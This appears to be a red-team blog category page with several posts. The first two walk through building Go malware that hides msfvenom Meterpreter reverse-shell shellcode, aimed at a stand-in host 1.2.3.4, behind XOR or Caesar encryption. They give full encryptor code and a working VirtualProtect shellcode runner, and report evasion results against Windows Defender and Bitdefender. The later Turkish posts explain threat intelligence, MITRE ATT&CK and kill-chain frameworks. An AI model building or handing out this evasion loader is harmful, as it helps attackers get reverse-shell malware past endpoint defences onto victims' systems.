Category: Red Team

  • Red Team Weaponization with Go #2 – Signature-Based Bypass – XOR Encryption

    This article continues from our previous post, which briefly explained the control mechanisms of EDRs. This post will detail the theoretical part from a different perspective.

    As we detail the application phase in this article, we aim to bypass Windows Defender & Bitdefender in a live environment instead of VirusTotal.

    The Components of an EDR

    EDRs have many different components, but we will briefly discuss Data Collection, Detection Capabilities, and Data Analysis because they are of specific interest to us:

    Data Collection

    • Endpoint Agents: Small software programs installed on endpoints (e.g., laptops, desktops, servers) to collect and send data to a central repository.
    • Telemetry Data: Includes details like process activity, file modifications, network connections, and user behavior.

    Detection Capabilities

    • Behavioral Analysis: Machine learning and heuristic analysis detect suspicious activities based on deviations from normal behavior.
    • Signature-Based Detection: Identifies known threats using databases of malware signatures.
    • Threat Intelligence Integration: Leverages external threat intelligence feeds to identify known indicators of compromise (IOCs).

    Data Analysis

    • Correlation Engine: Analyzes and correlates data from various sources to identify patterns indicative of malicious activities.
    • Automated Analysis: Uses algorithms to analyze collected data and flag potential threats automatically.
    • Visualization Tools: Provides graphical data representations to help security analysts understand complex relationships and patterns.

    Types of EDR Bypasses

    EDRs can be deceived, and their controls can be bypassed using many different methods. Some examples of these bypass techniques are as follows:

    • There might be misconfiguration on EDR, which malware uses to evade controls.
    • The EDR product might not be able to collect the relevant telemetry.
    • The detection mechanisms might have a known deficiency or lack of competence.
    • The detected activities might be insufficient to classify them as malicious actions, making them appear legitimate processes.

    Important Note: EDRs also use different techniques, such as function hooking, to analyze malware. Since we cover a different topic in this series, we will not focus on methods like ‘Direct Syscalls’ and ‘Evading Function Hooks.’ We may address these topics in future posts.

    Building a Custom XOR Encryption

    First, we generate a shellcode that we will run within the malware:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=80 -f go
    

    Next, we need to prepare the code that will XOR encryption of the shellcode:

    package main
    
    import (
    	"encoding/hex"
    	"fmt"
    )
    
    func xorEncrypt(data, key []byte) []byte {
    	encrypted := make([]byte, len(data))
    	keyLen := len(key)
    	for i := 0; i < len(data); i++ {
    		encrypted[i] = data[i] ^ key[i%keyLen]
    	}
    	return encrypted
    }
    
    func main() {
    	// Replace it with your encrypted shellcode
    	buf := []byte{0xfc, 0x48, ... , 0xd5}
    
    	key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
    
    	fmt.Println("Original Shellcode:", buf)
    	sc := xorEncrypt(buf, key)
    
    	encryptedHex := hex.EncodeToString(sc)
    	fmt.Println("Encrypted Shellcode:", encryptedHex)
    }
    

    The code is simple and understandable, so I do not explain it in detail. Essentially, we encrypt the shellcode provided in the ‘buf’ variable with the key specified in the ‘key’ variable (0x01, 0x02, 0x03, 0x04, 0x05).

    Running the code gives us the encrypted value.

    XOR Decryption

    Due to the nature of XOR, encrypting the shellcode with the same key will give us the decrypted version. To verify this, we can look at the decrypter code below:

    package main
    
    import (
    	"encoding/hex"
    	"fmt"
    )
    
    func xorEncrypt(data, key []byte) []byte {
    	encrypted := make([]byte, len(data))
    	keyLen := len(key)
    	for i := 0; i < len(data); i++ {
    		encrypted[i] = data[i] ^ key[i%keyLen]
    	}
    	return encrypted
    }
    
    func main() {
      // Replace it with your encrypted shellcode
    	encryptedShellcode := "fd4...5fbd0"
    
    	encryptedBytes, err := hex.DecodeString(encryptedShellcode)
    	if err != nil {
    		fmt.Println("Error decoding hex string:", err)
    		return
    	}
    
    	// XOR key
    	key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
    
    	// Decrypt the bytes
    	decryptedBytes := xorEncrypt(encryptedBytes, key)
    
    	// Print the decrypted shellcode
    	fmt.Println("Decrypted Shellcode:", decryptedBytes)
    }
    
    

    The result of the code will show us the our original shellcode.

    XOR Decryption in Shellcode Runner

    Now, we can write a shellcode runner for the XOR encrypted shellcode obtained in the previous step.

    package main
    
    import (
    	"encoding/hex"
    	"fmt"
    	"os"
    	"syscall"
    	"unsafe"
    )
    
    // xorEncrypt applies XOR encryption on the data with the given key
    func xorEncrypt(data, key []byte) []byte {
    	encrypted := make([]byte, len(data))
    	keyLen := len(key)
    	for i := 0; i < len(data); i++ {
    		encrypted[i] = data[i] ^ key[i%keyLen]
    	}
    	return encrypted
    }
    
    // Importing the VirtualProtect function from kernel32.dll
    var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
    
    // VirtualProtect changes the protection on a region of committed pages in the virtual address space of the calling process
    func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
    	ret, _, _ := procVirtualProtect.Call(
    		uintptr(lpAddress),
    		uintptr(dwSize),
    		uintptr(flNewProtect),
    		uintptr(lpflOldProtect))
    	return ret > 0
    }
    
    func main() {
    	// Shellcode in hex string format - Replace it with your encrypted shellcode
    	scHex := "fd4a...bd0"
    	
    	// Decode the shellcode from hex string to byte slice
    	sc1, err := hex.DecodeString(scHex)
    	if err != nil {
    		fmt.Println("Error decoding shellcode:", err)
    		os.Exit(1)
    	}
    
    	// XOR encryption key
    	key := []byte{0x01, 0x02, 0x03, 0x04, 0x05}
    
    	// Decrypt the shellcode using XOR encryption
    	sc := xorEncrypt(sc1, key)
    
    	// Creating a dummy function pointer to modify its permissions
    	f := func() {}
    	var oldfperms uint32
    
    	// Change the protection of the memory region where the function pointer is stored to be executable
    	if !VirtualProtect(
    		unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))),
    		unsafe.Sizeof(uintptr(0)),
    		uint32(0x40),
    		unsafe.Pointer(&oldfperms)) {
    		fmt.Println("VirtualProtect failed!")
    		os.Exit(1)
    	}
    
    	// Overwrite the function pointer with the shellcode address
    	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
    
    	var oldshellcodeperms uint32
    	
    	// Change the protection of the memory region where the shellcode is stored to be executable
    	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
    		fmt.Println("VirtualProtect failed!")
    		os.Exit(1)
    	}
    
    	// Execute the shellcode
    	f()
    }
    
    

    The comments within the code provide detailed information about the specific parts.

    In summary, the flow is:

    1. Converts the hex-encoded shellcode string to a byte slice.
    2. Uses XOR encryption to decrypt the shellcode.
    3. Prepares a dummy function pointer and modifies its permissions to make it executable.
    4. Overwrites the function pointer with the decrypted shellcode.
    5. Changes the protection of the memory region where the shellcode is stored to make it executable.
    6. Executes the shellcode by calling the function pointer.

    Detection & Test

    So far, we expect the malware we prepared to bypass signature-based checks. Although there are differences in EDR products, we expect the malicious file not to be deleted when uploaded to the target system as long as it is not executed and is not controlled by dynamic analysis.

    When the malware is uploaded into the test environments with Windows Defender and Bitdefender running, it is not deleted but deleted upon execution.

    In Bitdefender, the malware is cleaned from the target after the first stage of the staged payload.

    The situation is a bit different in Windows Defender; the malware is executed, and it is detected and removed after receiving a reverse shell session from the target system.

    When we check on VirusTotal, the result comes out as 15/74.

    Conclusion

    Although we have bypassed signature-based controls at a basic level in this and the previous articles, many different techniques need to be used together to bypass advanced EDR products. In subsequent articles, we will examine commonly used behavior-based bypass techniques along with these signature-based bypass techniques.

    You can access the code written during the study through the GitHub repository.

  • Red Team Weaponization with Go #1 – Signature Based Bypass – Custom Encryption

    In today’s red team exercises, the weaponization phase is one of the most time-consuming stages. The preparation during weaponization significantly impacts the success of the operation. Particularly with the enhanced capabilities of the blue team’s prevention and detection products, the weaponization phase’s importance continues to grow.

    While many C2 frameworks have built-in evasion mechanisms, attackers can easily bypass EDR products with custom-written, simple malware. This blog series will commence with signature-based bypass methods and later delve into bypassing behavioral controls alongside sandbox evasion methods in subsequent posts.

    Due to the unique features of Go and the scarcity of resources, this blog series will be written in Go, although one can find resources for languages like C/C++/C# on the web.

    Throughout the series, we won’t delve into different shellcode execution techniques (dll injection, PowerShell shellcode runner, etc.). Instead, we’ll examine how different bypass techniques applied to a simple Go shellcode runner yield varying results.

    1. Understanding AVs/EDRs

    Let’s briefly discuss malware and bypass mechanisms. Antiviruses aim to secure the system by checking files run by end-users for malicious activities. There are two basic types of controls: signature-based bypass and Behavior Analysis (sandbox).

    • Signature-Based Controls: The initial check is to see if the malicious file contains specific signatures. If a value with a particular signature is detected, the file can be directly classified as malicious without being executed.
    • Behavior Analysis: Behavioral analysis involves running the checked file in a virtual system to determine if it exhibits malicious behavior before the malicious actions start.

    While signature-based controls allow quicker actions than behavioral analysis, they are relatively more straightforward to bypass with custom-written malware. Behavioral analyses aim to stop the malware by recognizing that the malicious shellcode is being checked before it can decrypt and initiate malicious actions. We will delve into the details of these topics with examples over time.

    Nowadays, various C2s like Cobalt Strike can generate shellcodes that are relatively harder to detect due to different decryption/encryption routines. However, for this series, we need easily detectable shellcodes to observe the effects of the applied techniques. Therefore, we will use the shellcode generated for a basic reverse shell via msfvenom.

    2. Building a Basic Shellcode Runner

    Now, let’s create a basic Go shellcode runner that we will use consistently in our articles. First, we write a main function as follows:

    msfvenom -p windows/x64/reverse_tcp -f go LHOST=1.2.3.4 LPORT=53 

    Important: To test only signature-based controls, our code terminates as soon as it enters the main function. This ensures that the malicious code entering behavioral analysis will stop itself, but its signatures can still be checked without executing the file.

    Here’s a simple shellcode runner we wrote, with short explanations in the comments for relevant parts:

    When we scan the file on Virustotal without adding any malicious shellcode, the result returns 9/69. If we do not change the general flow of the code, any bypass method we apply will give us a minimum score of 9/69. Therefore, we aim to maintain this score after adding our malicious shellcode.

    When we add the created shellcode, we compile the code for the target system (Windows x64) as follows, start our listener, and run the compiled code on the target system. Then, our reverse shell arrives.

    When we check the file with threatcheck, we see that our shellcode is detected.

    Shellcodes generated with msfvenom are often detected due to the decryption routines they contain. Since the shellcode itself is not directly related to the topic of this series, we won’t go into depth. However, it will be beneficial to know as additional information.

    Before performing the VirusTotal file check, we arrange our code to terminate as soon as it enters the main function, as shown below. The objective is to prevent the shellcode from executing in the sandbox environment and evading behavioral analysis. In other words, when executed, the malware will not perform malicious actions but will contain a malicious shellcode when analyzed statically. This way, we can compare the results of our signature-based evasion steps more clearly.

    After changing the code as shown above, the VT result returns 12/69.

    3. Custom Shellcode Encryption/Decryption

    The VirusTotal results show that many AVs detect our file as malicious. The main reason is that our file has been identified with malicious signatures in the AV databases. We will write a function to encrypt our shellcode so that the malicious patterns it contains will be considered harmless until the shellcode is decrypted. At this stage, you can use different encryption methods as you wish, but the more specific and different the algorithm you use for encryption, the lower the detection rate.

    First, let’s write a simple shellcode encryptor. Despite having a low bypass rate, I chose to encrypt the shellcode with Caesar encryption because it is simple and easy to understand. The logic in this algorithm is to create a value by incrementing each value of the shellcode by the given key value. The “decrypter” will be a function used within the shellcode runner.

    The “addPrefix” function is a function that adds the key value given before each hex value of the shellcode. This function makes the encryption process more complex. The “removePrefix” function is a method we use in the shellcode runner to remove the added key values, similar to the decrypter.

    As shown below, we get the encrypted shellcode output when we call these functions.

    4. Integration of Decryption in Shellcode Runner

    This section will add the decryption step we created in the first part to the shellcode runner we created. First, we add the relevant functions to our shellcode runner as follows:

    Now, just before our shellcode is executed, let’s make it executable using the “decrypter” and “removePrefix” functions:

    When we run it in the test environment, our shell comes without problems. After checking it on VirusTotal, we see that the result dropped to the expected minimum value (9/69), as shown below. As mentioned earlier, we aim to maintain the minimum score of 9/69, the result we obtained without malicious functions and without changing the execution routine of the code. Since we focus on hiding the existing shellcode, we are skipping this part for now.

    I want to remind you that when we ran a scan with ThreatCheck, Defender did not detect it.

    The final versions of the code used in this study are available on GitHub. My next post will discuss bypassing signature-based controls using XOR encryption.

    References

  • Red Team: Siber İstihbarat ve Red Team

    Savunma açısından tehdit istihbaratı ne kadar önemli ise Red Team için de aynı öneme sahiptir. Red Team çalışmaları içerisinde tehdit istihbaratı bize hedef organizasyonu, saldırgan grupları ve gerçekleştirilebilecek saldırı tekniklerini daha iyi anlama imkanı sunar. Tehdit istihbaratı sayesinde daha iyi planlama yapılabilir ve gerçek bir saldırıya en yakın saldırı simülasyonunu gerçekleştirebilir.

    Tehdit istihbaratı tabanlı olan TIBER-EU (Threat Intelligence-based Ethical Red Teaming) gibi bazı özelleşmiş frameworkler de bulunmaktadır. Genel olarak bu framework üzerinden ilerlemeyeceğim için detaylarından bahsetmedim fakat detaylarını araştırmanız genel bir fikir edinmeniz açısından faydalı olacaktır.

    Genel olarak bu başlıkta, SANS’ın “Threat Hunting & Incident Response” zirvesinden oluşturulmuş bir metodolojiyi takip ediyor olacağız. İlgili kaynaklara ve sunumlara araştırarak veya referanslar bölümünde bulunan linkler üzerinden erişebilirsiniz. Aynı zamanda Mitre’ın “Using ATT&CK for Cyber Threat Intelligence” başlıklı bir ücretsiz eğitimi de mevcut. Bu eğitimin linkini de referanslar bölümünde paylaşıyor olacağım.

    Adımlara geçmeden önce Indicators of Compromise(IOC)’den ve David Bianco’nun acı piramidinden kısaca bahsetmek faydalı olacaktır.

    Indicators of Compromise(IoC): Herhangi bir saldırı sonucunda oluşan kanıtların ifade edilmesi için kullanılan bir terimdir.

    Acı Piramidi

    David Bianco tarafından oluşturulan acı piramidi, temelde savunma ekiplerinin farklı tipteki IoC’leri ayırt etmesini kolaylaştırmayı amaçlamaktadır. Piramidin alt noktasından üst noktasına doğru ilerledikçe savunan taraf için IoC’lerin tanımlanması, saldırgan taraf için ise değiştirilmesi zorlaşmaktadır.  

    Saldırgan için örneklersek; saldırı içerisinde kullanılan hash değerleri manuel veya otomatik olarak kolaylıkla değiştirilebilirken, hedef organizasyon tarafından tespit edilmiş ve engellenmiş araçların yerine yenilerinin geliştirilmesi daha fazla efor gerektirecektir.

    Savunan taraf içinse; saldırganın kullanmış olduğu zararlıya ait hash değerinin tespiti ve engellenmesi kolaylıkla yapılabilirken, bir tekniğin tamamen tespiti ve engellenmesi çok daha zor olacaktır.

    Red Team için piramidin diğer noktalarından ziyade en üst kısmı ile yani TTP’ler üzerine odaklanacağız.

    Piramitteki adımları aşağıdan yukarıya doğru detaylandırırsak;

    • Hash Values: Şüpheli veya zararlı dosyaları tanımlamak, engellemek vb. amaçlar için kullanılan SHA1, MD5 gibi benzersiz hash değerleridir.
    • IP Addresses: Saldırgan gruplar ve aktörler tarafından kullanılan/kullanıldığı bilinen IP adresleri veya aralıklarıdır.
    • Domain Names: Alan adlarının veya alt alan adlarının tamamıdır.
    • Network/Host Artifacts: Ağ içerisinde zararlı aktivitelere ait olabilecek olan gözlemlenebilir tüm izlerdir.
    • Tools: Saldırganlar tarafından belirlenen amaca ulaşmak için kullanılan araçlardır.
    • TTPs: Daha önce “Metodolojiler ve Frameworkler” yazısında “MITRE ATT&CK FRAMEWORK” başlığında taktik, teknik ve prosedürlere kısaca değinmiştik. Açıklamayı biraz daha derinleştirirsek; saldırganlar tarafından, saldırının hazırlık aşamasından belirlenen hedefe ulaşılana kadar ki adımları uygulama yöntemleri diyebiliriz. Bazı yöntemler farklı araçlar ile gerçekleştirilebilmektedir bu nedenle araç ve yöntemi karıştırmamak gerekiyor. Örneğin; “oltalama saldırısı(T1566)”, “zararlı bir dosya ile gerçekleştirilen oltalama saldırı (T1556.001)” veya “zararlı bir link ile gerçekleştirilen oltalama saldırısı (T1566.002)” örnek teknikler veya yöntemlerdir. Bu noktada tekniklerde çeşitlenebilmektedir.

    Hedef Organizasyonu Anlamak

    Danışmanlık kapsamında dış bir organizasyona veya internal (ekibin içerisinde bulunduğu organizasyonun kendisine) yapılan bir Red Team çalışması gerçekleştirilirken hedef organizasyonun yapısını anlamak gerçekten önemlidir.

    Ağ dışından saldırı hazırlığı içerisinde bulunan bir saldırganın gözünden, organizasyonun zayıf noktalarının ve varlıklarının yüzeysel olarak belirlenmesi amaçlanır. Bazı bilgiler organizasyon ile yapılan görüşmeler sırasında da sağlanabilir. Elde edilen tüm veriler tehdit istihbaratı raporunun hazırlanması ve senaryoların belirlenmesi konusunda kullanılacaktır.

    Organizasyona ait süreçler, saldırı yüzeyleri, çalışan profilleri, varlık bilgileri, kurum tarafından yayınlanan belgeler, iş ilanları, kasıtlı/kasıtsız sızmış veriler, müşteri verileri gibi saldırısı sırasında herhangi bir şekilde kullanılabilecek olan her türlü bilginin toplanması fayda sağlayacaktır.

    Taklit Edilecek Olan Saldırganı Tanımlamak

    Red Team çalışmaları içerisinde temel amaç yaşanacak olan olası saldırılara önceden bağışıklık kazanmaktır. Özellikle Adversary Emulation için, öncelikle hedef organizasyonu veya organizasyonun bulunduğu sektöre yönelik saldırı ihtimali olan saldırganları düşünmeniz gerekmektedir. Basit bir şekilde örneklersek, testi yaptığınız organizasyonun coğrafyasını ve sektörünü hedef almış olan bir saldırgan grup varsa başka bir coğrafyayı ve alakasız bir sektörü hedef almış saldırgan grubu baz almak daha düşük fayda sağlayacaktır.

    Önemli olan bir diğer nokta ise Red Team’in kabiliyetidir.  Tecrübesiz bir şekilde ileri seviye senaryoları uygulamaya çalışmak yanlış sonuçlar verebilir veya çalışmanın erken bir başarısızlıkla sonuçlanması ile gereksiz bir efor oluşmasına neden olabilir. Bu nedenle çalışmalara yeni başlamış bir Red Team için karmaşıklığı düşük olan saldırı senaryolarını uygulamak ve zamanla gelişmiş saldırı senaryolarına geçmek daha verimli olacaktır.

    Siber Tehdit İstihbaratın Toplanması

    İstihbarat teşkilatları tarafından da kullanılan geleneksel istihbarat yaşam döngüsü 4 veya 5 adımdan oluşur. 5 adım içeren versiyonun içerisindeki adımlar genelde şu şekildedir;

    • Planning and Direction: Bu adımda istihbaratın toplanacağı potansiyel noktalar ve bilgilerin toplanabilmesi için gerekli yöntemler geliştirilir. Gerekli olan bilgilerin nasıl ve nereden elde edileceği planlanır, “Collection” adımı için gerekli olan yol haritası çıkartılır.
    • Collection: Oluşturulan plan doğrultusunda bilgiler toplanmaya başlanır ve gerekli istihbarat verileri elde edilir.
    • Processing: Toplanan ham verinin işlendiği ve anlamlandırıldığı aşamadır. Bu aşamada elde edilen veriler analiz için hazır hale getirilir. Örneğin, sızmış veri tabanları içerisinde organizasyon çalışanlarına ait maillerin filtrelenerek elde edilmesi gibi işlemler bu aşamada gerçekleştirilir.
    • Analysis and Production: İlk aşamada belirlenen gereksinimlerin karşılanması için “Processing” aşamasında elde edilen bilgilerin değerlendirildiği bölümdür. Yapılan analizler sonucunda kullanılabilir veriler belirlenir ve gerekli durumlarda kullanılmaya hazır olacak şekilde belli formatlara dönüştürülür.
    • Dissemination: İşlenen ve istihbarat niteliği kazanan verilerin müşteriye dağıtılması sürecidir. Burada müşteri olarak kendinizi de varsayabilirsiniz. Elde edilen istihbarat kullanılır, düzenli olarak gözden geçirilir ve bunun sonucunda yeni istihbarat ihtiyaçları doğabilir, ek planlama süreçleri geliştirilebilir.

    TTP’lerin Belirlenmesi

    Bu aşamada gerçekleştirilecek olan TTP’ler belirlenmektedir. Özel bir senaryo oluşturulabileceği gibi var olan bir APT (Advanced Persistent Threat) gruba ait senaryonun TTP’leri belirlenerek gruba ait saldırı taklit edilebilir.

    Var olan bir saldırgan gruba ait TTP’lerin belirlenmesi için birçok farklı yöntem mevcuttur. Bir grup özelinde gerçekleştirdiğiniz bir siber istihbarat çalışmasıyla, organizasyonunuzu hedef bir grubun analiziyle veya yayınlanmış siber tehdit istihbaratı raporları içerisinde bu TTP’leri elde edebilirsiniz. Örneğin, bir siber istihbarat raporunda bulunan APT39’a ait “Initial Compromise” aşamasındaki teknikleri kısaca aşağıdaki şekilde inceleyebiliriz.

    Sadece birkaç teknik için bu aşamayı örnekledik fakat bir senaryoyu tam anlamıyla gerçekleştirmek için tabi ki birkaç teknik yeterli olmayacaktır. İlgili gruba ait olabildiğince fazla ve doğru tekniklerin çıkarılması senaryonun amacına ulaşabilmesi için kritik öneme sahiptir.

    Bir diğer yöntem ise araştırmacılar veya Mitre tarafından hazırlanmış olan şablonları kullanmak. Bu yöntemin avantajı sürekli olarak güncellenmesi ve teknikler çıkartılırken zaman kazandırması. Dezavantajı ise sınırlı sayıda gruba ait bilgi barındırması ve senaryoyu uygulayacak kişilerin saldırganları tam olarak anlayamaması. Var olan bir şablonu kullanıyor olsanız bile ilgili gruba ait siber tehdit istihbaratı raporlarını okuyarak teknikleri nasıl uyguladıklarını, ne gibi araçları nasıl kullandıklarını detaylı şekilde incelemenizi kesinlikle tavsiye ederim.

    Mitre’nin paylaşmış olduğu verileri incelersek; ilk olarak https://attack.mitre.org/groups/ adresi üzerinden grupların olduğu adrese gidiyoruz ve burada ilgilendiğimiz grubu seçiyoruz. Daha önce örnek olarak aldığımız APT39’dan devam edelim.

    Seçtiğimiz gruba ait bilgiler geldikten sonra burada detaylı bilgiler ile birlikte oluşturulma tarihi ve son güncellenme tarihi gibi değerleri de görebiliyoruz. Daha sonra “Navigation Layers” üzerinde “view” seçiyoruz.

    Gelen sayfada ilgili gruba ait taktikleri seçili bir şekilde görebilirsiniz. İlgili tekniklerin üzerine geldiğimizde veya tıkladığımızda daha detaylı bilgiler gelecektir.

    Analiz ve Düzenleme

    Bu aşamadaki amacımız, elde ettiğimiz TTP’lerin anlamlandırılmaları ve Adversary Emulation planı için bir senaryo oluşturulması. Bu sayede Red Team’in izleyeceği adımlar net bir şekilde belirlenebilir.

    Örneğin; Zararlı dosya içeren bir e-posta ile spear-phishing saldırısı gerçekleştirecekseniz öncelikle bir C&C (Command And Control) sunucusu kurmanız gerekiyor. Privilege Escalation veya Credential Access aşamaları için öncelikle İnitial Access aşamasının tamamlanması gerekiyor gibi adımların belirlenmesi ve netleştirilmesi gerekmektedir.

    Adversary Emulation Planının Oluşturulması

    Siber tehdit istihbaratının son adımı ise Adversary Emulation planının oluşturulması. Bu aşamaya kadar toplanan bilgileri bir araya getirerek, her adımda gerçekleştirilecek olan işlemleri belirleyip belge hazırlıyoruz. Aşamalar içerisinde tam olarak neler yapılacağı da bu hazırlanan belge içerisinde detaylı olarak belirtilmelidir.

    Plan içerisinde taklit edilecek olan saldırgan grubun kullandığı araçlar ve özelliklerde belirtilir. Genel olarak Red Team çalışmalarında saldırganın daha önce kullanmış olduğu zararlı yazılımlar kullanılmaz. Bunun yerine araçların aynı özelliklerine ve işlevlerine sahip özel araçlar geliştirilir. Bu hem başka bir organizasyonu hedefleyen zararlının sizin hedefinizde çalışmama ihtimalini hem de içeriğini tam olarak bilmediğiniz bir zararlının oluşturabileceği potansiyel riskleri ortadan kaldırır.

    Mitre’ın APT3 için hazırlamış olduğu örnek Adversary Emulation planına da aşağıdaki bağlantı üzerinden erişebilirsiniz.

    Referanslar

  • Red Team: Metodolojiler ve Frameworkler

    Red Teaming ve Adversary Emulation için kurumlar veya şahışlar tarafından yayınlanmış olan birçok farklı framework ve metodoloji bulabilmemiz mümkün. Yapılan çalışma başlık ve yöntem olarak, kullanılan framework ve metodolojilere göre farklılıklar gösterebilmektedir. Bu yazı içerisinde, aşağıda paylaştığım framework ve metodolojilerin tamamını inceleme fırsatımız olmayacak fakat detaylarını merak etmeniz durumunda fikir olması açısından araştırmanızı öneririm.

    • TIBER-EU (Threat Intelligence-Based Ethical Red Teaming Framework – European Union)
    • UK CBEST
    • Hongkong iCAST (Intelligence-led Cyber Attack Simulation Testing)
    • Saudi Arabia FEER (Financial Entities Ethical Red Teaming)
    • Singapore AASE (Adversarial Attack Simulation Exercises)
    • NATO framework
    • Mitre’s ATT&CK framework
    • Cyber Kill Chain – Lockheed Martin
    • Unified Cyber Kill Chain – Paul Pols

    MITRE ATT&CK FRAMEWORK

    Hiçbir model %100 doğru değildir fakat bazı modeller kullanışlı olabilir. Bu modellerden birisi de saldırganların aksiyonlarını modelleyen Mitre Att&ck Framework. Mitre Att&ck, saldırgan davranışlara dayalı, gerçek dünya gözlemleri baz alınarak MITRE tarafından oluşturulmuş ve geliştirilen bir framework. Açık kaynaklı, ücretsiz ve herkesin erişebileceği bir modeldir.

    En üst satırda taktik olarak bahsettiğimiz alan, saldırgan amacı belirtmektedir. Taktiklerin sütunlarında bulunan diğer başlıklar ise içerisinde bulundukları saldırgan amaca ulaşmak için kullanılan tekniklerden oluşur. Seçilen bir tekniğe tıklandığında açılan kısım ise prosedür olarak geçer. Prosedürler yüksek seviyeli açıklama ile tespit, önleme, referanslar gibi birçok ek bilgi içerirler. Bir teknik için çeşitli prosedürler olabilir.

    Red Team Mitre Att&ck kullanarak, gerçekçi TTP’leri (Tactics, techniques and procedures – TTPs) araştırarak bir çalışma içerisinde uygulayabilir. Blue Team ise Mitre Att&ck modelini kullanarak var olan TTP’lere karşı savunma duruşuna ait durumunu analiz ederek bir skor oluşturabilir.

    Cyber Kill Chain

    Cyber Kill Chain, Lockheed Martin tarafından geliştirilen ve siber saldırıları tanımlamak için kullanılan en popüler modellerden biridir. Reconnaissance, Weaponization, Delivery, Exploitation, Installation, Command and Control, Actions on Objective olmak üzere toplamda 7 aşamadan oluşur.

    Unified Cyber Kill Chain

    Lockheed Martin tarafından geliştirilen Cyber Kill Chain(CKC), kolay anlaşılabilir ve basit olacak şekilde tasarlanmıştır bundan dolayı bazı limitlere sahiptir. Yapılan bazı araştırmaların sonucunda, Cyber Kill Chain’in malware odaklı olduğu düşünülmektedir. Bu noktada Cyber Kill Chain’in (özellikle ilk sızma gerçekleştirildikten sonra) bazı saldırıları ve saldırı vektörlerini karşılayamama durumu söz konusudur.

    Özellikle CKC’nin limitasyonlarından ve Mitre ATT&CK modelinin zamandan-bağımsız taktiklerinden kaçınmak adına, birçok model baz alınarak “Paul Pols” tarafından Unified Cyber Kill Chain geliştirilmiştir.

    Unified Cyber Kill Chain’in içerisinde, hibrit yaklaşımla oluşturulan toplamda 18 taktik bulunur. Bu taktikleri ve açıklamaları “Initial Foothold”, “Network Propagation” ve “Action on Objectives” olmak üzere 3 başlık altında aşağıdaki şekildedir. 

    1. Reconnaissance: Aktif ve pasif bilgi toplama kullanarak hedef organizasyon hakkında bilgi toplanır.
    2. Weaponization: Saldırı için gerekli olan araçlar, altyapı vb. hazırlıklar yapılır.
    3. Delivery: Hedef ortama hazırlanan nesnelerin (araç, zararlı vb.) iletilme teknikleri.
    4. Social Engineering: Kişilere zararlı aksiyonları aldırmayı hedefleyen teknikler.
    5. Exploitation: Hedef sistemlerde güvenlik açıklarının istismarına dayanan teknikler.
    6. Persistence: Saldırgana sistemlerde kalıcılık sağlayacak olan her türlü yöntem.
    7. Defense Evasion: Tespit ve engelleme mekanizmalarını atlatmaya sağlayan teknikler.
    8. Command & Control: Saldırgan ve hedef arasında iletişimi sağlayan teknikler.
    9. Pivoting: Direkt olarak erişim sağlanamayan sistemlere tünelleme ile erişimin sağlanması.
    10. Discovery: Saldırganın sistem ve ağ yapısı hakkında bilgi almasını sağlayan teknikler.
    11. Privilege Escalation: Saldırganın var olan yetkilerini yükseltmesini sağlayan teknikler.
    12. Execution: Saldırganın kontrolünde olan bir komutu hedef sistemde çalıştırmasını sağlayan teknikler.
    13. Credential Access: Hedef üzerinde oturum bilgileri ile erişim sağlamaya yarayan teknikler.
    14. Lateral Movement: Saldırganın başka sistemlere yatay erişim sağlanması sağlayan teknikler.
    15. Collection: Hassas verilerin belirlenmesi ve toplanması için kullanılan teknikler.
    16. Exfiltration: Saldırganın hassas verileri almasını sağlayan teknikler.
    17. Impact: Hedef sistemde manipülasyon, bozma gibi etkilere neden olmayı amaçlayan teknikler.
    18. Objectives: Stratejik nihai bir hedefe ulaşmayı amaçlayan bir saldırının diğer hedefleri.

    Nihai hedefe ulaşabilmek adına belirtilen taktikler beraber kullanılabilir, birleştirilebilir veya düzenlenebilir.

    Referanslar

  • Red Team: Red Team Neden Gereklidir?

    Bir önceki yazı içerisinde genel terimlerden ve Red Team’den kısaca bahsetmiştik. Bu yazı içerisinde biraz daha Red Team’in kendisine odaklanacağız. Red Team ile alakalı bazı sorulara ait cevapları bu post altında toplamaya çalışıyor olacağım.

    Red Team Neden Gereklidir?

    Zafiyet taraması ve sızma testi gibi geleneksel güvenlik denetimleri gerçek saldırılardan farklılık göstermektedir. Yaşanılması olası hedefli bir siber saldırı ciddi bir planlama ve hazırlık süreci gerektirir. Bu nedenle geleneksel yöntemler gerçek bir siber saldırının etkilerini tam anlamıyla gösteremeyebilir.

    Geleneksel yöntemler sonucunda oluşabilecek bazı zayıflıkları örneklersek;

    • Belirli bir kapsam dahilinde daha çok zafiyet odaklı işlerler. Kısıtlı bir süre içerisinde gerçekleştirilmeleri gerekir. Testlerin verilen süre içerisinde tamamlanma zorunluluğu yapılan kontrollerin derinliğini azaltabilir. Örneğin; kapsam içerisinde tespit edilen düşük/orta seviye bir bulgu kapsam dışındaki bir sistem ile kullanıldığında çok büyük etkilere neden olabilir ve bu durumda gerçek etkiler gözden kaçabilir.
    • Hedefe özel araç ve tekniklerden daha ziyade genel yöntemler tercih edilir fakat “Defender’s Dilemma” bize saldırganın tek bir sistemde tek bir zafiyet dahi bulmasının hedef organizasyonu ele geçirmek için yeterli olabileceğini söyler. Örneğin; bir zafiyet/teknik özelinde organizasyonun güvenlik metriklerine takılan bir zararlı dosya çalışmayabilir veya hatalı sonuç verebilirken, organizasyonun yapısına göre özel olarak hazırlanmış bir zararlı, tüm organizasyonu etkileyen kritik bir saldırı zincirinin başlamasına neden olabilir.
    • Çoğu sızma testi kapsamının dışında tutulan fiziksel, donanımsal veya insan kaynaklı zafiyetler “Defender’s Dilemma” içerisinde bahsettiğimiz kritik zinciri başlatmak için yeterli olabilir.
    • Her ne kadar gerçek bir saldırıya yakın yapılmaya çalışılsa da hedefin bilgisi dahilinde yapılan kontroller, tespit ve tepki ölçülmesi konusunda yeterli değillerdir.

